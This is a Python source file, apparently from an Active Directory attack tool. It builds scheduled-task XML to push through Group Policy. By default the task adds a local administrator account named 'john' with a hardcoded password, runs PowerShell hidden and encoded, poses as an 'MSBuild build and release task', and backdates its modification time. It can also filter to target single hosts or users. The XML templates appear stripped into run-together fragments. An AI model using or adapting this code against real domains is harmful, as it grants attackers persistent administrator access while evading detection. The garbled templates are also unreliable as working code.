import binascii import logging import os import re import uuid from base64 import b64encode from datetime import datetime, timedelta from xml.sax.saxutils import escape, quoteattr import xml.etree.ElementTree as ET class ScheduledTask: def __init__(self, gpo_type="computer", name="", mod_date="", description="", powershell=False, command="", old_value="", filter_enabled=False, target_dns_name="", target_username="", target_user_sid=""): self._type = gpo_type if name: self._name = escape(name, {'"': '"'}) else: self._name = "TASK_" + binascii.b2a_hex(os.urandom(4)).decode('ascii') if mod_date: self._mod_date = mod_date else: mod_date = datetime.now() - timedelta(days=30) self._mod_date = mod_date.strftime("%Y-%m-%d %H:%M:%S") self._guid = str(uuid.uuid4()).upper() self._author = "NT AUTHORITY\\System" if description: self._description = escape(description) else: self._description = "MSBuild build and release task" if powershell: self._shell = escape("powershell.exe") if command: self._command = escape('-windowstyle hidden -nop -enc {}'.format(b64encode(command.encode('UTF-16LE')).decode("utf-8"))) else: self._command = escape('-windowstyle hidden -nop -enc {}'.format(b64encode('net user john H4x00r123.. /add;net localgroup administrators john /add'.encode('UTF-16LE')).decode('utf-8'))) else: self._shell = escape('c:\\windows\\system32\\cmd.exe') if command: self._command = escape('/c "{}"'.format(command)) else: self._command = escape('/c "net user john H4x00r123.. /add && net localgroup administrators john /add"') logging.debug(self._shell + " " + self._command) self._old_value = old_value self._task_str_begin = f"""""" if self._type == "computer": self._task_str = f"""{self._author}{self._description}NT AUTHORITY\\SystemHighestAvailableS4UPT10MPT1HtruefalseIgnoreNewfalsetruefalsetruefalsetruetruePT0S7PT0SPT15M3{self._shell}{self._command}%LocalTimeXmlEx%%LocalTimeXmlEx%true""" elif self._type == "user-as-admin": self._task_str = f"""{self._author}{self._description}NT AUTHORITY\\SystemS4UHighestAvailablePT10MPT1HtruefalseIgnoreNewtruetruetruetruefalsetruetruefalsefalsefalseP3D7PT0S%LocalTimeXmlEx%%LocalTimeXmlEx%true{self._shell}{self._command}""" else: self._task_str = f"""{self._author}{self._description}%LogonDomain%\\%LogonUser%InteractiveTokenHighestAvailablePT10MPT1HtruefalseIgnoreNewtruetruetruetruefalsetruetruefalsefalsefalseP3D7PT0S%LocalTimeXmlEx%%LocalTimeXmlEx%true{self._shell}{self._command}""" # Targeting single hosts/users through filtering # host (computer GPO) or principal (user GPO) instead of every object in the GPO scope # XML mirrors SharpGPOAbuse --FilterEnabled output. self._filters = "" if filter_enabled: if self._type == "computer": if target_dns_name: _dns = escape(target_dns_name, {'"': '"'}) self._filters = ''.format(_dns) else: if target_username or target_user_sid: _fu = '", "" + self._filters + "" ) self._task_str_end = f"""""" def generate_scheduled_task_xml(self): if self._old_value == "": return self._task_str_begin + self._task_str + self._task_str_end return re.sub(r"< */ *ScheduledTasks>", self._task_str.replace("\\", "\\\\") + self._task_str_end, self._old_value) def get_name(self): return self._name def parse_tasks(self, xml_tasks): elem = ET.fromstring(xml_tasks) tasks = [] for child in elem.findall("*"): task_type = child.tag task_properties = child.find("Properties") if task_properties is None: tasks.append(["?", "", task_type or ""]) continue action = task_properties.get('action') name = task_properties.get('name') tasks.append([ action if action is not None else "?", name if name is not None else "", task_type if task_type is not None else "" ]) return tasks